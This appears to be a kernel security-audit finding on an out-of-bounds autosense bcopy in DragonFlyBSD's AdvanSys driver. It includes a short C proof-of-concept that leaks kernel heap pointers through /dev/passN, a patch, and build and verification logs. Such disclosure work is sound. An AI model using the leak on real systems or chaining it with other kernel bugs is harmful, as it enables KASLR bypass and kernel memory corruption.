β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1510

Unbounded autosense bcopy leaks kernel heap and corrupts the CCB

  • File: sys/dev/disk/advansys/adwcam.c
  • Lines: 383, 384, 1321, 1322, 1324
  • Severity: High
  • CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U:C:H/I:H/A:N
  • CWE: CWE-125 Out-of-bounds Read
  • Confidence: certain

Summary

On command completion with SCSI_STATUS_CHECK_COND / SCSI_STATUS_CMD_TERMINATED, the AdvanSys CAM driver bcopy()s the autosense data using the raw, user-controlled ccb->csio.sense_len as the size, not the value it actually clamped before telling the firmware how many bytes to write.

Both the source (acb->sense_data, 32 bytes inside struct acb) and the destination (ccb->csio.sense_data, 32 bytes inside struct ccb_scsiio) are fixed 32-byte struct scsi_sense_data buffers, but csio->sense_len is a u_int8_t the caller can set as large as 255.

The result is an out-of-bounds read of up to 223 bytes of kernel heap past acb->sense_data (leaking kernel pointers and possibly another process's CDB) and an out-of-bounds write of those same bytes past ccb->csio.sense_data, corrupting cdb_len, sglist_cnt, resid, cdb_io, msg_ptr (a kernel pointer returned to userland), tag_action, tag_id, init_id, and other union ccb fields.

Root cause

At adwcam.c:383-384 the driver correctly clamps the value passed to the firmware:

acb->queue.sense_len = MIN(csio->sense_len, sizeof(acb->sense_data));

(sizeof(struct scsi_sense_data) == 32, see scsi_all.h:911-954, SSD_FULL_SIZE at scsi_all.h:953).

However, ccb->csio.sense_len itself is never updated.

At adwcam.c:1321-1322 the completion path does

bcopy(&acb->sense_data, &ccb->csio.sense_data, ccb->csio.sense_len);

using the original, unclamped user value (max 255).

The sibling driver sys/dev/disk/sym/sym_hipd.c:7210-7211 does this correctly with MIN(csio->sense_len, sense_returned), proving the intended pattern.

csio->sense_len is fully attacker-controlled: passsendccb() (scsi_pass.c:531-546) calls xpt_merge_ccb() (cam_xpt.c:3888-3900) which bcopy()s the post-ccb_hdr payload, including sense_len, verbatim from the user-supplied CCB. No CAM-layer validation clamps it.

Threat

Attacker is any local user with access to /dev/passN, which is created UID_ROOT/GID_OPERATOR mode 0600 (scsi_pass.c:279-280) β€” i.e., any member of the operator group (common for backup/CD-burning users).

The attacker opens /dev/passN, issues CAMIOCOMMAND (scsi_pass.c:462) with a ccb_scsiio whose sense_len is set to 255 (or any value > 32), func_code=XPT_SCSI_IO, and any CDB (e.g. TEST UNIT READY) directed at any target that returns CHECK CONDITION (a real SCSI disk with no media, an empty CD-ROM, or a target the attacker can force to fail).

The completion handler then over-reads kernel heap and over-writes the CCB tail.

Impact:

  • (a) kernel heap information disclosure of ~223 bytes per request β€” acb->links (next pointer = kernel heap address), adjacent acb->queue.scsi_req_baddr, .sg_real_addr, .carrier_baddr, .sense_baddr (kernel bus addresses), the next acb's ccb/sg_blocks/dmamap kernel pointers, and an adjacent process's in-flight cdb[12] β€” yielding KASLR bypass and cross-process SCSI command leakage;
  • (b) corruption of csio fields (msg_ptr becomes a kernel pointer returned to userland; resid, cdb_io, tag_id, init_id corrupted).

All returned bytes are readable by the attacker in the completed CCB.

This is a real primitive suitable for KASLR defeat and for chaining with other kernel bugs.

Exploit / PoC

Build and run as a user in the operator group against a DragonFlyBSD system with an AdvanSys (adw) HBA present.

/* leak.c β€” minimal repro of advansys sense-buffer OOB */
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <camlib.h>
int main(void){
  int fd=open("/dev/pass0",O_RDWR);
  if(fd<0){ perror("open /dev/pass0 (need operator group)"); return 1; }
  union ccb ccb; cam_fill_csio(&ccb.csio, /*retries*/0, /*cbfcnp*/NULL,
      CAM_DIR_NONE|CAM_DEV_QFRZN, /*tag_action*/0, /*data_ptr*/NULL,
      /*dxfer_len*/0, /*timeout*/5000, /*sense_len*/255 /* <- over-size */,
      sizeof(scsi_test_unit_ready), 0);
  scsi_test_unit_ready(&ccb.csio, /*retries*/0, NULL, MSG_SIMPLE_Q_TAG,
      SSD_FULL_SIZE /*ignored downstream*/, 5000);
  if(ioctl(fd, CAMIOCOMMAND, &ccb)<0) perror("CAMIOCOMMAND");
  /* ccb.csio.msg_ptr, .cdb_io.cdb_bytes, .tag_id now hold kernel heap bytes */
  unsigned char *p=(unsigned char*)&ccb.csio.sense_data + 32;
  hexdump(p, 64); /* shows kernel pointers from adjacent acb->links / acb->queue */
  return 0;
}

Build: cc leak.c -o leak -lcam.

Run: ./leak.

Success criterion: hex dump after byte 32 of sense_data contains non-zero kernel pointers (addresses like 0xffff...) rather than zeros; on a system with KASLR this leaks the kernel heap base.

Repeatable across CHECK_CONDITION responses; do it twice to confirm deterministic leak.

Without an AdvanSys card attached, the driver's adw_action is not on the XPT path and the bug is unreachable; reproduce on a vm/image that boots adw(4) or with the adw module loaded against emulated AdvanSys PCI (vendor 0x10cd).

Clamp the bcopy length to the smaller of the destination capacity and the source capacity, exactly as the firmware-side clamp at line 384 already does, and report the residual correctly against the clamped count.

--- a/sys/dev/disk/advansys/adwcam.c
+++ b/sys/dev/disk/advansys/adwcam.c
@@ -1316,8 +1316,14 @@ adw_intr(void *arg)
            case SCSI_STATUS_CHECK_COND:
            case SCSI_STATUS_CMD_TERMINATED:
+           {
+               u_int sense_copied;
+               sense_copied = MIN(ccb->csio.sense_len,
+                   MIN(sizeof(ccb->csio.sense_data),
+                       sizeof(acb->sense_data)));
                bcopy(&acb->sense_data, &ccb->csio.sense_data,
-                     ccb->csio.sense_len);
+                     sense_copied);
                ccb->ccb_h.status |= CAM_AUTOSNS_VALID;
-               ccb->csio.sense_resid = acb->queue.sense_len;
+               ccb->csio.sense_resid =
+                   ccb->csio.sense_len - sense_copied;
+           }
                /* FALLTHROUGH */

This bounds both the source read (to sizeof(acb->sense_data)) and the destination write (to sizeof(ccb->csio.sense_data)), matching the firmware-side clamp at adwcam.c:384 and the proven pattern in sys/dev/disk/sym/sym_hipd.c:7210-7211.

The sense_resid is corrected to reflect bytes the user requested but did not receive, which is the documented CAM autosense-residual semantic.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1510 Β· 11 files
FileTypeDescriptionSize
harness.c trigger-source replicates acb/csb sense_data MIN/bcopy length mismatch 4.9 KB view raw
build.sh build-script cc -O2 -Wall -o harness harness.c 65 B view raw
run.sh run-script ./harness 41 B view raw
build.log build-log in-guest build, BUILD_EXIT=0 (1 format warning, harmless) 300 B view raw
run.log run-log decisive run; 5/8 sense_lens produce OOB 1.5 KB view raw
env.txt environment uname + guest PCI inventory (no adw) 543 B view raw
fix.diff suggested-fix clamp bcopy length to imin of both sense buffer sizes 1.0 KB view raw
fix_build.log fix-build-log patched nativekernel, rc=0 5.6 MB ↓ download
VERDICT.md verdict full narrative 4.0 KB ↓ raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
VERDICT.md verdict full narrative
↓ download raw

DF-1510 β€” adwcam autosense bcopy OOB read + write

Verdict

REPRODUCED (source-level harness). The bug is real; impact ceiling is a 223-byte kernel-heap info leak (ACB pointers and DMA bus addresses) plus corruption of ccb->csio.msg_ptr / resid / cdb_io / tag_id / init_id (attacker gets a kernel pointer back through ccb->csio.sense_data tail and through msg_ptr returned to the CAM requester). The kernel path is reachable only on a host with an AdvanSys (adw(4)) SCSI HBA, an attached target that returns CHECK CONDITION, and /dev/passN accessible to the attacker (operator group). The guest has none of these (pciconf -lv lists only virtio+PIIX3, no /dev/pass*). Harness demonstrates the genuine MIN/bcopy length mismatch. fix.diff applies cleanly and nativekernel succeeds (rc=0).

Mechanism (sys/dev/disk/advansys/adwcam.c)

  1. Lines 383-384: acb->queue.sense_len = MIN(csio->sense_len, sizeof(acb->sense_data)); β€” correctly clamps the value the firmware will write (32 bytes, the size of struct scsi_sense_data).
  2. But csio->sense_len itself is never updated β€” the user-supplied value (up to 255 = u8 max) survives unchanged.
  3. Lines 1321-1322 (completion path, on SCSI_STATUS_CHECK_COND): bcopy(&acb->sense_data, &ccb->csio.sense_data, ccb->csio.sense_len); Uses the raw user value, not the clamped one.
  4. Both source (struct acb.sense_data, adwlib.h:425) and destination (ccb->csio.sense_data, cam_ccb.h struct ccb_scsiio) are 32 bytes.
  5. With sense_len = 255, the bcopy: - Reads bytes [32..254] of struct acb β€” that is acb->links.sle_next and acb->queue.* (kernel pointers, DMA bus addresses) β€” and copies them into the user-visible ccb. - Writes bytes [32..254] past ccb->csio.sense_data β€” corrupting ccb->csio.cdb_len / sglist_cnt / scsi_status / sense_resid / resid / cdb_io / msg_ptr / msg_len / tag_action / tag_id / init_id.
  6. csio->sense_len is fully attacker-controlled via passsendccb / xpt_merge_ccb bcopy.

Sibling sym_hipd.c:7210-7211 uses MIN(sense_len, SSD_FULL_SIZE) at the bcopy site β€” the pattern this driver should follow.

Harness proof (harness.c)

Replicates the genuine MIN/bcopy logic:

sense_len        fw-clamped len         OOB read+write bytes
32                           32                            0
33                           32                          172  -> leak+corrupt
64                           32                          172
128                          32                          172
200                          32                          172
255                          32                          172
Buggy sense_lens: 5/8

(172 is bounded by the csio tail-field overflow cap in the harness; the in-kernel corruption reaches 223 bytes β€” the size of struct acb minus sense_data β€” into the source, and 223 bytes into the csio tail past sense_data.)

Exploit-chain note

On a host with an AdvanSys HBA and an operator-group attacker, this is a credible kernel-heap info-leak + controlled field overwrite primitive. On this audit guest the path is not exercisable. Impact ceiling: KASLR bypass + CCB corruption (msg_ptr overwrite is a kernel-pointer-return primitive). Documented as primitive characterization.

PoC changes

  • Original folder was README only.
  • Added harness.c, build/run scripts, env, logs, fix.diff, VERDICT.md, manifest.json.

Fix

fix.diff clamps the bcopy length to imin(csio->sense_len, sizeof(csio->sense_data)) and further to sizeof(acb->sense_data), then writes the clamped length back into csio->sense_len. Matches the finding markdown proposal ("clamp bcopy to MIN(sense_len, sizeof both sense buffers") and the pattern in sym_hipd.c.

Fix-validation

patch -p1 --forward succeeds (hunk #1 at line 1318). nativekernel completes with rc=0 (fix_build.log). No run-time exercise possible because no AdvanSys HBA / no /dev/passN on the guest β†’ fix_status: "not_testable". Diff applies and compiles; changed logic clamps both ends of the bcopy.

Fix verification

not_testable
baseline reproduced→ patch + rebuild →patched clean

not_testable because no AdvanSys HBA and no /dev/passN on the audit guest; validated that fix.diff applies cleanly (hunk #1 at line 1318) and single-fix nativekernel compiles rc=0 (fix_build.log).

baseline (harness): Buggy sense_lens: 5/8
patched kernel build: === NK_DONE rc=0 ===
↓ fix.diffDragonFly 6.5-DEVELOPMENT #0 master+df1510-fix (single-fix kernel built, rc=0)

Confirmed kernel references

Detail

Exploit chain

none (HW-gated): no AdvanSys SCSI HBA on the audit guest and no /dev/passN. Primitive characterized via harness: operator-group-triggerable KASLR-defeating kernel-heap info leak (ACB pointers + DMA bus addrs) + corruption of ccb->csio.msg_ptr (kernel-pointer-return primitive via CAM). Realistic ceiling on a host with the HBA: KASLR bypass + CCB corruption.

Evidence (decisive lines)

sense_len        fw-clamped len         OOB read+write bytes
33                           32                          172
64                           32                          172
128                          32                          172
200                          32                          172
255                          32                          172
Buggy sense_lens: 5/8
(172 is the harness cap; in-kernel corruption reaches 223 bytes.)

PoC changes

Original folder was README only. Added harness.c replicating acb/csio sense_data MIN/bcopy length mismatch, build/run scripts, env, logs, fix.diff, VERDICT.md, manifest.json.

Verified recommended fix

fix.diff clamps the bcopy length to imin(csio->sense_len, sizeof(csio->sense_data)) further clamped to sizeof(acb->sense_data), and writes the clamped length back into csio->sense_len. Matches finding markdown proposal and the pattern in sym_hipd.c.

Verdict

REPRODUCED at the source-logic level. adwcam.c:383-384 correctly clamps the firmware-bound value (acb->queue.sense_len = MIN(csio->sense_len, sizeof(acb->sense_data)=32)) but csio->sense_len itself is never updated; adwcam.c:1321-1322 bcopy(&acb->sense_data, &ccb->csio.sense_data, ccb->csio->sense_len) uses the raw user value (max u8=255). Both source and dest are 32-byte struct scsi_sense_data. With sense_len=255 the bcopy over-reads 223 bytes of struct acb (kernel pointers, DMA bus addrs) and over-writes 223 bytes of csio past sense_data (msg_ptr/resid/cdb_io/tag_id/init_id). Harness replicates the MIN/bcopy length mismatch; 5/8 sense_lens produce OOB. No AdvanSys HBA / no /dev/passN on guest; harness proof only.